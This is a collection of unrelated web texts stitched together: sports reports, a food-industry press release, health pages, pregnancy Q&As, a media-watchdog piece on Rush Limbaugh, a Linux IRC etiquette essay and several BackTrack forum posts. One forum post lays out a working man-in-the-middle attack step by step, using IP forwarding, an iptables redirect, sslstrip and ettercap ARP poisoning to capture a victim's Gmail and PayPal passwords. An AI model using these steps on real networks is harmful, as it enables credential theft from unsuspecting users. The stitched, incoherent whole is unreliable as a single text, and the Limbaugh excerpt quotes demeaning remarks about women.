In high school sports the graduation of a dozen seniors can leave the next year's team in a bad spot. In need of leadership and experience, often those teams struggle early in the season until they find an identity and a new set of leaders.
But the loss of a large set of seniors can also give a team the ability to reinvent itself.
Consider the Stanwood boys soccer team Exhibit A in the latter's case. After graduating 12 seniors off of a team that struggled to win games in 2012, the Spartans not only got off to a great start this season but won their first league title since 2001. It all came down to a collection of players who were given a chance and were invested in winning.
"One of the best things that happened was graduating those seniors," said Stanwood head coach Kyle Veach. "They knew how to lose and were pretty good at it. They were great kids and great players, don't get me wrong, but they saw it. A number of them have come back to games (this year) and said 'You were right. We wish we could have done this.'"
The large number of seniors meant that only a handful of underclassmen got to even make varsity. The rest played on junior varsity and got experience winning. That has carried over to this year and was evident right away as Stanwood won five of its first seven games and didn't suffer its first loss until nearly a month into the season.
"We told the guys on JV (last year) that you will start varsity next year and this is good for you," Veach said. "It was talked about last season that these JV kids will come through, start and not miss a beat. We had five or six of them who were dominant on JV last year who just didn't have a spot on varsity."
Upperclassmen Logan Flem and Chase Lauinger are essentially the bridge between the two different teams. Both are captains on this year's team and important facets of a defense that has limited teams to just 15 goals in 14 games and recorded five shutouts this season. In comparison, Stanwood allowed 56 goals a year ago.
"We've been able to grind out wins this season," said Flem, who could play a number of positions on the field but chose to help out where the team needed him most by playing center-back and being a leader on defense. "We're not two separate groups like last year but rather one big group."
The Stanwood players could have been forgiven if they'd waved the white flag shortly after the season kicked off. Returning starter and goalkeeper Riley Martin went down with a serious knee injury eight minutes into the season opener against Arlington, forcing an already young team to turn to a freshman keeper. But the defense rallied around fill-in goalkeeper Jordan Schafer and made it an imperative to limit other teams' shots.
"We became much more vicious on defense," said Lauinger, who was on the other end of the collision that knocked out Martin (My first thought was 'What have I done, Lauinger joked), "Logan wins anything in the air and I'm there to clean it up."
Flem agreed that the defense seemed to take it upon itself to limit shots and in a way protect Schafer as he acclimated to being the varsity starter.
"With a goalie that we've only played with this year rather a year or more we probably try to give him as little amount of shots to save as possible," Flem said.
Stanwood may be led by its defense but its offense has been a suprisingly strong unit as well this season. Led by breakout star forward Colin Cuchna, the Spartans scored four goals in the season opener and have done a good job of getting the ball in the net. The attack begins with Cuchna, a quirky sophomore who has blossomed after having a rocky freshman season in which he scored just one goal.
"Last year I was just new to it all. I was the freshman," Cuchna said. "These guys respect me and they play me the ball. They trust me. It gives me a bigger boost of confidence."
Cuchna has finished on the opportunities he's had this year, scoring five goals and assisting on four others. Veach said it's more of a mental thing with Cuchna than anything else.
"He created a lot of opportunities as a freshman but didn't finish," Veach said. "Mentally he's come in as a stronger game player than he did last year. You knew he was on the cusp of doing something great. He scores ridiculous goals, impossible angles."
Cuchna's added confidence has brought out his quirkier side. One teammate describes him as the team's "goofball." On an already fun-loving team, Cuchna brings it to another level. Whether it's sporting pink shirts and short shorts at a recent practice or his trademark flame-emblazoned game socks, Cuchna is the ringleader of a team that knows how to laugh.
"They're characters," Veach said. "Serious, yelling, hard-nosed coaching doesn't work with them. Allowing them to be their characters and have fun and enjoy the game as much as possible allows me to get the best out of them.
"They enjoy this game so much," Veach continued. "Colin is one of the top players in the league and there isn't a serious bone in his body. They play this game because it's fun."
From time to time Flem said he's been called upon to help the team re-focus and get serious, but overall it's a group that knows when to turn it on. Veach echoed that, pointing out a situation after a recent loss.
"They were already huddled up in the corner talking about the talking points I was going to go over," Veach said.
Stanwood's win over Oak Harbor on Friday night locked up the Spartans first league title in over a decade and its win over Marysville Pilchuck on Monday gave them 33 points to break the school's previous record for points in a season (31). But ultimately Veach said his team's goal is a district title and that means beating the Wesco 3A South teams. Stanwood went 7-0-1 against the North's best, including a tie with 4A power Lake Stevens, but was 2-3 against the 3A South, with losses against Shorecrest, Shorewood and Glacier Peak by a combined score of 7-1.
"I think playing the South was a little bit of a reality check but it gives us an idea of what we need to work on," Flem said.
No matter how they do at districts, which starts Saturday, Stanwood boys soccer has come a long way.
"When we set that down (winning a district title) as a goal it was as an expectation not as a far-off goal," Veach said. "Even though we've been successful through it all we've changed things up to try and get better. We haven't peaked yet."

Chicago, April 18, 2013 -- Breakfast sandwiches have booted bacon to make it to the top 10 list of foods Americans eat at breakfast. According to The NPD Group, a leading global information company, breakfast sandwiches are ranked 10th on the list for the first time since 1985 when The NPD Group began tracking them.
"The beauty of the breakfast sandwich is that you can get that 1950's breakfast of eggs, toast, cheese and meat all in one and you can walk out the door if you want to. That is key because Americans are eating more breakfast meals in their cars than ever before!" says Harry Balzer, chief industry analyst at NPD and author of the annual "Eating Patterns in America."
"For breakfast we focus so much on coffee, which was always number one, but what has really changed in the America's eating habits is the breakfast sandwich. When eating out, breakfast sandwiches now rank higher than coffee!" says Balzer.
People are getting their sandwiches on the go, rather than making them at home. For the year ending November, 2012, 46 percent of all breakfasts (excludes morning snacks….just breakfast) ordered at a restaurant include a sandwich. That number includes breakfast sandwiches, 34%, breakfast wraps, 7% and burgers/other sandwiches, 4%. By comparison, 42% of all breakfast meals ordered at restaurants include coffee. The importance of the breakfast sandwich continues to grow. It is the fastest growing item at restaurants for breakfast. In 1989, 23% of all breakfasts ordered from a restaurant included a breakfast sandwich (this includes traditional sandwiches ordered for breakfast). By comparison, coffee is shrinking as a share of breakfast; 51% of breakfasts purchased at restaurants in 1989 included coffee.
"Sandwiches are now among the most popular foods at all meal occasions ... breakfast, lunch and dinner. To understand the American diet, it is important to understand what sandwiches really give us!" say Balzer.
Harry is available to comment on what's behind the numbers and what's happening with the American diet. Harry appears regularly on radio and Television and in print. The NPD Group has been tracking Americans' dieting habits for nearly 30 years.
Consumer Reports on Eating Share Trends (CREST®)
The NPD Group's CREST® (Consumer Reports on Eating Share Trends) research continuously tracks how consumers use commercial and non-commercial restaurants and foodservice outlets, and has tracked consumer purchasing and consumption patterns in commercial restaurants since 1975. In the U.S. CREST accesses a representative sample of the population on a daily basis to ask them what and where they ate yesterday. About 2300+ consumers complete the CREST survey daily and of those about 40% had a meal or snack away-from-home the day before. In addition to the United States, CREST also tracks consumer foodservice usage in Australia, Canada, China, France, Germany, Italy, Japan, Spain, and the United Kingdom.

text: Hi guys. I'm using win7 x64 host bt5r1 in vmware. vmware setting are 4gig ram, quad core processor. I used to get by with a NAT'ed network and everything was fine. But then I realized that this would not allow me to run programs like armitage or metasploit or ettercap or....... the list goes on... So I switched to a bridged network adapter. At first, everything was great. Meaning the network I had currently connected was shown, and an IP was given. Then when I switched networks, and rebooted my vmware bt5, the new network never came up, and I had no IP. So I tried to replicate the physical network connectivity state. Nothing doing, didn't help. I tried ifup eth0, start networking, and various other commands, nothing helped. In the NAT, everything still works, but when I go to bridged, nothing works; not even my ftp server between win7 and bt5. Please let me know if either my settings for vmware are bad or I'm doing something wrong inside BT5, but help me get my networking up. I kind need it. Thanks.

NEW YORK CITY -- Hostess Brands Inc. has picked McKee Foods as the buyer for its Drake's business, which includes the iconic Devil Dogs, Yankee Doodles and Yodels snack cake brands.
An auction scheduled for March 15 was cancelled after bankrupt Hostess did not receive a qualifying bid to top McKee's $27.5 million offer. A hearing to approve the sale is scheduled for April 9.
Collegedale, TN-based McKee Foods, which makes Little Debbie snack cakes, has not said when it plans to have Drake's cakes back on shelves.
Separately, investment firms Metropoulos & Co. and Apollo Global Management, which together are buying Twinkies, Ding Dongs, Ho Hos and other Hostess cakes, said they hope to have the snacks back on shelves by this summer. | SEE STORY
Earlier this month, Hostess also canceled auctions for Twinkies and its major breads after receiving no competitive offers for those brands. Hostess picked Flowers Foods as the buyer for Wonder and other bread brands. Grupo Bimbo, which makes Thomas' English muffins, is buying its Beefsteak bread business.

Like to have twins
I'd like to ask if there are ways on how to get pregnant with twins? I was wondering, since my husband has a twin sibling and could we have twins as well? Your tips are highly appreciated.

It is actually the mother's family history of twins which seems to make her more likely to become pregnant with twins (rather than the father).
Twins are also more likely in women aged over 35 years of age (although conceiving in general is frequently more difficult after this age as the quality and quantity of a woman's eggs start to significantly decrease from age 35). Twins are more likely in women having certain fertility treatments.
There is unfortunately not much a woman can do to try and conceive twins.
Warm wishes,

I am pregnant and diagnosed with twin babies so I would like to take any any advise if any special care has to be taken during twin pregnancy?

Limbaugh warned, with "new female police chiefs ... we can watch out for some naked pyramids"; called military officers "orificers"
Reacting to a May 27 Associated Press report [1] that four women have been recently appointed as chiefs of police in four major U.S. cities, radio host Rush Limbaugh [2] complained that the National Center for Women & Policing [3] -- the "feminazis" -- were still unhappy because women make up only 13 percent of police officers and warned: "If we've got four new female police chiefs out there, then I guess we can watch out for some naked pyramids among prisoners in these new jailhouses that these women ran, because we had a woman running the prison in Abu [Algore pronunciation] Grab." (Brackets and contents in original.) The day before, on his May 26 program, reading from a May 26 Washington Times article [4], Limbaugh referred to military officers as "orificers."
The transcript [5] (brackets and contents in original) of the segment from the May 27 broadcast of The Rush Limbaugh Show, which is posted on Limbaugh's website under the headline "Feminazis Whine over Cop Babe Success!":
LIMBAUGH: A little interesting story, folks, this out of Boston. [Reading from AP story [1]] "The new police chiefs in four of the nation's largest cities -- Boston, San Francisco, Milwaukee and Detroit -- share some credentials.
"All boast more than two decades of [cop] experience. All have worked their way up the ranks. And all are women." [Gasping.] Yes, my friends.
"Some say it's just coincidence that four women within six months have been named to the top [cop] position in four major cities, a natural evolution two decades after consent decrees and affirmative action cases forced departments to hire more women...
"Women still make up an average of only 13 percent of police officers..." They're never happy. And I don't mean women. I'm talking about the activists. Don't lose your cookies out there. This is according to the National Center for Women and Policing, which is a division of the Feminist Majority Foundation of American, which is the feminazis.
So here we've got progress. This is exactly what I'm talking about. Here we've got four new police chiefs are women, again, San Francisco, Boston, Milwaukee, Detroit, and the feminazis find the bad news. "Well, there's still only 13% of women on the forces of the general police population, so..."
This is exactly what I'm talking about. So what's the reaction to this? Well, here's my reaction, in the typical Rush fashion: If we've got four new female police chiefs out there, then I guess we can watch out for some naked pyramids among prisoners in these new jailhouses that these women ran, because we had a woman running the prison in Abu [Algore pronunciation] Grab. That's how you do it.
From the May 26 broadcast of The Rush Limbaugh Show:
[Reading from a May 26 Washington Times article [4]], "Whatever the reason, one theme is clear: Abu Grab was a disaster waiting to happen. Rules on uniforms were not enforced, soldiers wrote poems and other sayings on their helmets." Oh, really? Are you telling me that these brutes, these brutes who did all these horrible, insulting things to these people, wrote poetry? Come on, how does that happen? Poets are gentle little flowers wilting in the breeze. Well, it might have been limericks, but anyway, so they "wrote poems and other sayings on their helmets, saluting of orificers [sic (article [4] reads, "officers")] was not enforced. Records on inmates and escapes were spotty. And regulations were not posted; and no MP had been trained adequately in detainee operations." [sigh]
You know, just fix this and move on. What are we beating ourselves over the head with this for? This is what's not productive, acting like this is regular and commonplace, and now we've got to stop everything to take care of this all for our psyche, and actually all for the advancement of John Kerry is just a bit much. It's -- it's putting people who wear the uniform at greater risk over there, which we've been through countless times and nobody hears, when I say it.

Here's how I resolved the issue #1 you're having. My wireless LAN is set to WPA2-PSK, so your mileage may vary. I created a wpa_supplicant.conf file, using the one in BT as a guide. I used the wpa_passphrase program to generate the value for the psk entry. I then made a simple 2-line script to get me online wirelessly:
sudo wpa_supplicant -B -Dwext -iwlan0 -c/etc/wpa_supplicant.conf
dhclient wlan0
As far as issue 2, it's been awhile since I installed BackTrack, but I recall being able to set the space via slider bar during install. You may need to use something like gparted to resize your BT partition.

Take a breath, then respond
[Note: I wrote this in the LXer.com forum in response to Jeff Hoogland's blog posting on #fedora that was linked to LXer.com. I did spell out "asshat" below, where I did not do that in the forum posting. Jeff's blog item is here, and I would invite everyone to read it first before reading my response below. Or not. It's up to you. Also, I fixed the link to the Eric Raymond/Rick Moen tome that's worth a read as well.]
Truth in advertising disclaimer: Many of you already know that I have been an active participant in the Fedora Project for several years; for those of you who don't, that secret is now out (and, man, do I feel relieved admitting it!). I have also been a regular in many IRC channels, both Fedora and non-Fedora related, though I am not a regular in #fedora — in fact, I avoid #fedora for the same reasons Jeff outlines in his self-proclaimed "rant."
That said, Jeff accurately points out a situation that has been a sticking point, and one that is being addressed and corrected, in the Fedora Project around the types of caustic responses that sometimes come up in #fedora. Also, while I don't frequent the channel and usually find answers to my questions elsewhere — a good practice (and more on this later) — I can say that it's something that has caused some of us in the Fedora Project some concern.
However — and you knew that was coming — just as an observation on my part, it appears Jeff shot from the hip on this one rather than giving it some thought before writing.
Believe me, I am not casting the first stone against this "sin" — I speak from experience here: lots of experience in which I have fired off unretractable words that a walk in the redwoods or shooting a few hoops would have tempered into something more reasonable and justifiable.
So, Jeff, with apologies, I think your blog goes over the top in the following ways:
a.) #fedora has not cornered the market in asshats by any stretch of the imagination, despite our mutual experience in this particular channel. The cantakerous tards who have an inflated self-worth exist in most IRC channels in every distro across the board — maybe not in Bodhi, if their leader has any say in it (I sincerely hope) — but I think it's more the nature of things like how IRC operates as well as a wake-up call for the need for change, positive change, in this regard.
b.) It's a little myopic to judge the performance of a distro by the people "representing" it (and, arguably, any bad experience in any distro-related IRC channel does not accurately reflect the community as a whole, but rather reflects personality flaws in those responding to questions, regardless of whether they're chanops or not). If that were the case, I would never, ever, EVER use PCLinuxOS, since I have had the same experience seeking information from them that we have had with Fedora (and I do have a box in the lab with PCLOS).
c.) An aside: When I first started using Linux, I was told to read this tome by Eric S. Raymond and Rick Moen: "How to Ask Questions the Smart Way" which lives here:
(You may have to copy/paste the link above — there is no space before the ~ though each posting insists on inserting one)
Why this isn't a README in all distros is a mystery, but it should be. I am not suggesting that Jeff asked the wrong question here, but often times questions are not asked in the most efficient or direct way. But as Jeff points out in his blog, we don't know the circumstances that the user is facing in finding out an answer, but it does help immensely to ask the right question. Immensely.
d.) Another aside: I can't imagine Jared Smith of Fedora or Jono Bacon of Ubuntu firing off a rant like this. As a project leader for what I think is an up-and-coming distro, I hope you understand, Jeff, that as a project leader, you're in the bigs now and what you say and do reflect on your project for better or worse.
For those of you who have gotten this far, thanks for staying awake. I'll now put on my Nomex and feel free to flame away.

Hi, Larry. Sorry to hear that you got caught up in that unpleasantness.
Thanks for the mention of the essay I co-wrote with Eric. We meant well in writing that, though I could bore you with the reasons why it failed to help the people we wished it would. (People kept telling us, 'But you also need to add a section about [foo]', and we kept good-naturedly doing so, so it's ended up way too verbose, for starters.) And thank you especially for recognising that our basic intent was to help reduce the frequency of inefficient and ineffective help-seeking: People actually communicating reduces the frustration levels all around, and gets them help in a way that ignoring the syndrome notably doesn't.
One of my greatest regrets is that, sometimes, people cite the essay in such a way to excuse and justify being an asshat in public forums. Not our intention (speaking, I hope, for Eric, too). We just wanted to tell the truth about why problematic help requests tend to fail, and help people fix that. Part of that truth is to warn that bluntness happens, and to say that it shouldn't be too hastily interpreted as hostility if you encounter some.
Yet, the advice to take a breather before posting, and to watch (what might come across as) caustic tone, is well taken and should be heeded more widely.

I know that you probably think BT is an amazing thing, as do I.
A presentation at a college would be nice, but if you just skim the surface you will just be saying "Look at my GUI! I can customize it."
It wouldn't be a bad idea to show them a regular linux distro (not stripped down, with hardly any manual pages as an example).
Backtrack is a penetration-tester CD, so how are you going to show them BT if you don't plan on hacking? Show all of the basic applications that Windows can support, as well?
Just my spoof on that one, skimming the surface would be a 1 minute presentation in my eyes...

I attempted to respond all last week but the forums were down every time I tried.
I finally got the whole process to work, though I'm not sure what I did differently. The only thing I changed was I ran ettercap in GUI mode. The whole process for me was as follows for anyone else who finds themselves having the same problem I was.
BT4 - Attacker (on VMWare): 192.168.1.6 - Wireless, bridged, iface - eth0
Ubuntu64 - Victim (on VMWare): 192.168.1.9
Router (Default Gateway) - Asus RT-N10: 192.168.1.1
1. edit etter.conf as instructed in the tutorial
2. echo 1 > /proc/sys/net/ipv4/ip_forward
3. Check /proc/.../ip_forward
output should be '1'Code:cat /proc/sys/net/ipv4/ip_forward
4. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
5. (in a new konsole) sslstrip -a -k -f
6. ettercap -G
##At this point, Ettercap GUI will pop up -- follow these steps##
7. Sniff-> Unified Sniffing-> Network Interface: eth0
8. Hosts-> Scan for Hosts
9. Hosts-> Hosts List (H)
10. Select 192.168.1.1 (gateway)-> Click 'Add to Target 1'
11. Select 192.168.1.9 (victim)-> Click 'Add to Target 2'
12. MITM-> Arp Poisoning-> Check 'Sniff Remote Connections'-> Ok
13. Start-> Start Sniffing
##Switch to victim machine and log into gmail or paypal##
14. Observe USER and PASS coming through in Ettercap's output window.
15. end the MITM, stop sniffing, kill sslstrip, and run iptables --flush when you're all done.
Everything works as it should -- I'm not sure why running the GUI made any difference. The only other problem I'm having in the whole process is that probably about 66% of the time when trying to log into gmail or paypal, it doesn't go through properly. I collect the username and password without any problem but it seems to just refresh the gmail login screen more than half the time, rather than taking me to the inbox. It still gets the job done, but if they're alerted to an ARP spoofing it makes the process a little sloppy.

Winthrop Edges Liberty in Game 1, 3-2
Despite 11 Liberty hits, the Winthrop Eagles were able to edge the Flames, 3-2, in game one of a Big South doubleheader, Saturday at Liberty Baseball Stadium.
Liberty drops to 6-7 in Big South play and 20-19 overall. Winthrop moves to 3-10 in the conference and 15-25 overall.
The Flames jumped out to a 1-0 advantage in the bottom of the second. Designated hitter Danny Grauer opened the inning by doubling off the left-center field wall and advanced to third on a single by center fielder Ryan Cordell. Left fielder Justin Sizemore followed by legging out an infield single to score Grauer with the contest's first run. However, Eagles pitcher Matt Pierpont was able to contain the damage by retiring the next three Flames.
Winthrop went in front with two runs in the top of the third. With one out, second baseman Leighton Daniels dropped a single into right-center field and moved to second on a two-out single by left fielder Cody Dolan. After a wild pitch allowed both runners to move into scoring position at second and third base, right fielder Matt Lobacz singled to center field, plating both runners and giving the Eagles a 2-1 lead.
In the fifth, Winthrop added to its advantage. Dolan led off the inning with a double and moved to third base on a single by Lobacz. First baseman Clay Altman then singled to score Dolan and extended the Eagles' edge to 3-1.
Liberty cut into the visitors' advantage in the sixth. Cordell began the frame with a single and advanced to second on a ground out by Sizemore. Two batters later, Cordell advanced to third base on a fielder's choice grounder by shortstop Dalton Britt, and then scored on a single by third baseman Jake Kimble to trim the Winthrop advantage to what proved to be the final score.
Pierpont stranded Liberty runners at second base in both the seventh and eighth innings. In the seventh, second baseman Bryan Aanderud opened the inning with a single and moved to second on a sacrifice bunt by catcher Trey Wimmer, only to be left there. In the eighth, Britt doubled with two outs, but Pierpont retired the next batters to end the inning.
Liberty starter Carson Herndon dropped to 3-5 on the season. The right-hander gave up three runs on 10 hits over the first four innings of the contest. He struck out six batters and walked one.
Josh Richardson pitched the final five innings for the Flames. He gave up only two hits and did not allow a run over the span. He struck out six.
Pierpont went the distance for the second time this season, running his record to 3-4. He allowed two runs on 11 hits over nine innings. He struck out seven batters and walked one.
Liberty recorded 11 hits during the contest. Aanderud, Cordell and Grauer each had two hits apiece. Winthrop collected 12 hits. Altman had four hits in the contest for the Eagles.
Each team left 10 men on base.

Karla Souza Explains Her Character In Bilingual Rom-Com 'Everybody Loves Somebody'
Karla Souza, better known for her role as Laurel on ABC's How to Get Away With Murder, stars in the bilingual romantic comedy Everybody Loves Somebody. The film follows Souza's Clara, a successful OB-GYN who asks her coworker to pose as her boyfriend at a family wedding back home in Mexico.
When she gets to the wedding, her ex-boyfriend (and family favorite) suddenly shows up after disappearing from her life completely, so Clara "must decide between going back to the past or open her heart to new and unexpected possibilities."
"Yes she's a doctor, she has one night stands, but she has no idea what she's doing in her love life," Souza told On Air with Ryan Seacrest over the phone on Friday. "She thinks she does. She's become very cynical like a lot of people nowadays because of Internet dating apps and all this stuff. Everyone's scared to get in a relationship and this character is very similar. It's relatable for both men and women."
She added: "It's not just a love triangle. It's a lot about dynamics of an immigrant family living in the U.S., and again, the themes are very universal so everyone can connect to that."
Everybody Loves Somebody, also starring José María Yazpik, Ben O'Toole, K. C. Clyde, Tiaré Scanda, Patricia Bernal, and Alejandro Camacho, opens in theaters today.

Freshman Jordan Loveridge scored 15 of his 22 points in the second half, leading the University of Utah to a 66-54 victory over Wright State on Saturday night at the Huntsman Center.
Loveridge scored 10 straight points in a four-minute stretch, triggering a 15-2 run that broke the game open in the final eight minutes.
The Utes improved to 4-1 this season. Last year, they did not get their fourth win until Jan. 5.
With the victory over Wright State, Utah went 3-0 in its round-robin Thanksgiving tournament that also included wins over Idaho State (57-46) and Central Michigan (67-51).
This game did not start well for coach Larry Krystkowiak's team.
Wright State turned its first three possessions into eight points. On the other end, the Utes committed two quick offensive fouls and needed almost four minutes to score.
It was 8-0 when sophomore center Dallin Bachynski stepped outside and hit a three-pointer, but the Raiders still owned a 16-9 lead with 10 minutes left.
At that point, Utah's zone defense forced Wright State into a series of difficult shots.
The Raiders went scoreless for four minutes and the Utes took their first lead, 17-16, when Loveridge made two free throws with 5:55 remaining.
It was 21-20 after Utah's Cedric Martin completed a four-point play and Utah maintained the lead by making 4 of 5 free throws in the final 3:25.
At halftime, the Utes were 9 for 11 from the foul line. The Raiders did not shoot a free throw.
Utah maintained its lead but could not pull away until late in the second half.
The Utes owned a tenuous 46-42 lead when Loveridge buried a 3-pointer.
On the next possession, he grabbed and offensive rebound and was fouled. His two free throws bumped the lead to 51-42 with 8:09 remaining.
Moments later, Loveridge hit another 3-pointer and Utah's lead eventually ballooned to 63-46 against gritty Wright State, which slipped to 4-2 on the season.

transcript:
For the proboscis monkey, size matters.
Nearly three feet tall, the males weigh twice as much as the smaller females.
And a big nose generates big interest from the ladies.
This stretch of mangrove swamps in Borneo is his domain, and here he must watch over his harem.
They forage in the trees for young leaves and fruit.
Specially adapted large stomachs help them digest the leaves.
The youngsters are able to climb higher and stray farther to find food.
But these trees are almost out of young leaves.
Better prospects are across the river.
That's no problem for the monkeys.
They have webbed feet to help them swim, and can even walk upright in shallow water.
But the monkeys are not the only ones in the river.
Crocodiles lurk underneath.
This mother knows how to cross quietly and with little splashing.
But the youngsters try a different method.
Leaping across keeps them out of the water-mostly-but the noise attracts the croc.
And the mother is still mid-stream.
The male spots the crocodile.
The large nose resonates the warning call, amplifying it over the noise of the water.
The mother turns.
The croc moves in for the kill.
But this time the croc must search elsewhere.
The mother was just a touch quicker, winning...by a nose.

CHARDON, Ohio (AP) -- The attorney for an 18-year-old charged in a school shooting rampage that killed three students in Ohio wants comments made by suspect's family kept out of his trial.
The attorney for T.J. Lane says his family members had private conversatoins in a northesat Ohio police station and didn't know they were being recorded.
The Plain Dealer newspaper (http://bit.ly/R17yQN) reports that prosecutors believe there is no privacy in a police interview room and that they should be allowed to use the statements at trial.
A judge in Chardon near Cleveland will hear arguments over the issue at a hearing on Wednesday.
Investigators say Lane admitted shooting at students but couldn't say why.
He faces a maximum sentence of life in prison without parole if convicted of the shootings last February.

"Xbox One X will not do well," says analyst
Today at 9:50 am | 5 Comments
The Left 4 Dead blog has a few details on the latest mutation for the survival horror game. Called Bleed Out Versus, Survivors in this mode have no permanent health. Instead, health is temporary and slowly trickles away.
Valve says that even if you don't normally play Versus, Blood Out Versus is a great mutation to try, as the action is frantic and fast, and team wipes are always just a few seconds away.
The new mutation is now available through a Steam update.

Renovascular hypertensionRenal hypertension; Hypertension - renovascular; Renal artery occlusion; Stenosis - renal artery; Renal artery stenosis
Renovascular hypertension is high blood pressure due to narrowing of the arteries that carry blood to the kidneys. This condition is also called renal artery stenosis.
See: High blood pressure
When the arteries that carry blood to your kidneys become narrow, less blood flows to the kidneys. The kidneys mistakenly respond as if your blood pressure is low and make hormones that tell the body to hold on to more salt and water. This causes your blood pressure to rise.
Renal artery stenosis is a narrowing or blockage of the artery that supplies blood to the kidneys.
The most common cause of renal artery stenosis is a blockage in the the arteries due to high cholesterol. This problem occurs when a sticky, fatty substance called plaque builds up on the inner lining of the arteries. The plaque may slowly narrow or even block the renal (kidney) artery.
Risk factors for atherosclerosis include high blood pressure, smoking, diabetes, high cholesterol, heavy alcohol use, cocaine abuse, and increasing age.
Fibromuscular dysplasia is another cause of renal artery stenosis. It is often seen in women under age 50 and tends to run in families. It is caused by abnormal growth of cells in the walls of the arteries leading to the kidneys. This also leads to narrowing or blockage of these arteries.
People with renovascular hypertension may have a history of high blood pressure that is severe and hard to control with medication.
Symptoms of renovascular hypertension include:
- High blood pressure at a young age
- High blood pressure that suddenly gets worse or is difficult to control
- Kidneys that are not working well, which often occurs suddenly
- Narrowing of other arteries in the body, such as to the legs, the brain, the eyes and elsewhere
- Sudden buildup of fluid in the air sacs of the lungs (pulmonary edema)
If you have a severe headache, nausea or vomiting, bad headache, confusion, changes in your vision, or nosebleeds you may have a severe and dangerous form of high blood pressure called malignant hypertension.
Exams and Tests
The health care provider may hear a "whooshing" noise, called a bruit, when placing a stethoscope over your belly area.
The following blood tests may be done:
- Cholesterol level
- Renin and aldosterone levels
- Bun - blood test
- Creatinine - blood test
- Potassium - blood test
- Creatinine clearance
Imaging tests may be done to see if the kidney arteries have narrowed. They include:
- Angiotensin converting enzyme (ACE) inhibition renography
- Doppler ultrasound of the renal arteries
- Magnetic resonance angiography (MRA)
- Renal arteriography
High blood pressure caused by narrowing of the arteries that lead to the kidneys (renovascular hypertension) is often difficult to control.
Medications are needed to help control blood pressure. There are a variety of high blood pressure medications available. You and your doctor will decide which type is best for you. often more than one type may be needed.
- Everyone responds to medicine differently. Your blood pressure should be checked frequently. The amount and type of medicine you take may need to be changed from time to time.
- Ask your doctor what blood pressure measurement is appropriate for you.
- Take all medicines in the exact way your doctor prescribed them.
Have your cholesterol checked and treated. If you have diabetes, heart disease, or hardening of the arteries somewhere else in your body, your "bad" (LDL) cholesterol should be lower than 100 mg/dL.
Lifestyle changes are important:
- Eat a heart-healthy diet.
- Exercise regularly, at least 30 minutes a day (check with your doctor before starting).
- If you smoke, quit. Find a program that will help you stop.
- Limit how much alcohol you drink: 1 drink a day for women, 2 a day for men.
- Limit the amount of sodium (salt) you eat. Aim for less than 1,500 mg per day. Check with your doctor about how much potassium you should be eating.
- Reduce stress. Try to avoid things that cause stress for you. You can also try meditation or yoga.
- Stay at a healthy body weight. Find a weight-loss program to help you, if you need it.
Further treatment depends on what causes the narrowing of the kidney arteries.Your doctor may recommend a procedure called angioplasty with stenting.
These procedures may be an option if you have:
- Severe narrowing of the renal artery
- Blood pressure that cannot be controlled with medicines
- Kidneys that are not working well and are becoming worse.
However, experts are not certain which patients should have these procedures.
Possible Complications
If your blood pressure is not well controlled, you are at risk for the following complications:
- Aortic aneurysm
- Heart attack
- Heart failure
- Chronic kidney disease
- Stroke
- Vision problems
- Poor blood supply to the legs
When to Contact a Medical Professional
Call for an appointment with your health care provider if you think you have high blood pressure.
Call your health care provider if you have renovascular hypertension and symptoms get worse or do not improve with treatment. Also call if new symptoms develop.
Preventing atherosclerosis or hardening of the arteries may prevent rental artery stenosis. You can do this by following these tips:
- Lose weight if you are overweight.
- Ask your doctor about your smoking and alcohol use.
- Control your blood sugar if you have diabetes.
- Make sure your doctor is monitoring your blood cholesterol levels.
- Eat a heart healthy diet (See: Heart disease and diet)
- Get regular exercise. Check with your doctor before starting an exercise program.

Senior guard Jarred DuBois has been ruled out for tomorrow night's season-opener against Willamette.
A hip injury is the reason. DuBois has been feeling pain in the hip for the past few weeks. He hasn't practiced since Sunday and will be re-evaluated on Monday, according to coach Larry Krystkowiak.
DuBois is now the third projected starter to miss time with an injury. David Foster is out for the season after breaking his foot. Aaron Dotson will miss at least the next month with a stress fracture in his foot.
Unlike the first two, DuBois' injury is not considered serious. He is listed as day-to-day.
In his place, Justin Seymour will probably start tomorrow night.
Seymour is a freshman guard out of Georgia who has played well in practice. He would've received significant minutes regardless. This latest injury just speeds up the process a little.
With that, the Utes will now likely start two freshmen, with Jordan Loveridge being the other rookie in the lineup.
"We know that Justin is a good player," senior point guard Glen Dean said. "We need him to play his game, come out, hit the open jumper and play good defense. We don't want him to feel like he has to score 15 points per game."

It is with much regret and great sadness that I am going to retire from competing in MMA.
I will be honouring my current commitments, which means I actually finish in April.
Before any malicious rumours start, the actual reasons for this is, family pressure, work pressure and my honour for the sport.
I have been lucky enough to meet with some great promoters and fighters, like Chris Zorba, Dale Percival, Paul Murphy, Darren Sherlock, Aaron Chatfield, Saul Rodgers, Greg Grimshaw and never to be forgotten Colin Fletcher.
Anyone who has ever met me knows I have always turned up early for shows, on weight and conducted myself professionally including lending stuff to other fighters in the same colour changing rooms if needed.
I only have three regrets really, never fighting in London, or abroad at all, and that the Craig Allen fight never happened.
I concede that no matter how good your ground game is, if your standup is so weak you will never get the chance to show it.
I am already now not available for January and April, so only available to be booked in February and March, so get in touch if you want. I can imagine me crying my eyes out and falling to pieces in April but there will be no going back.
Just to put the record straight to those who have made some disparaging remarks about me as a person, retard etc. I am actually reasonably literate with a Post Graduate Diploma in Management Studies at Manchester University, not that it carries any relevance in a cage of course.
There is a new show setting up and I will be into helping that guy get the project going. My thoughts at present, beyond April, are to do some charity work and (as I have a bit of acting experience) that I wish to become an MMA MC. Any advice/ input welcome on that one. Its a lot safer.LOL

Barely a few weeks since dad was cremated I was back at the creme for my aunts funeral she too had Parkinson and lewy bodies and it made me feel odd again especially seeing my uncle who is dreadfully ill with cancer sitting in the wheelchair I got for dad by it which he never used. We all know that my uncle has been hanging on for my aunt and talking to him today he said he had nothing to live for. I talked to my cousins and it brought back in memories tonight I feel bad again and tomorrow I have my friends funeral she had ms but was younger than me. I really want to give up work and do things before it's my time. Once again I have had bought to my attention that life is frail and we should try to make the most of it whilst not trampling on others.
Listening to the tributes to my aunt and thinking of what we said at dads funeral are we only memories at the end of the day. What will people say about me? Do I care of course I do. I suppose I'm just confused tonight story to ramble but just needed to get something down thank you for the opportunity.

pampering preggy
Is having my hair done, like straightening or rebonding a no no when you are pregnant? Or having a foot massage is also not allowed?
29th October 2013 07:02 AM #2
Hi Nadinne,
Thanks for your question.
Having your hair straightened is totally fine in pregnancy, as is having a foot massage. Indeed, it is good to relax; this is beneficial to both you and your baby.
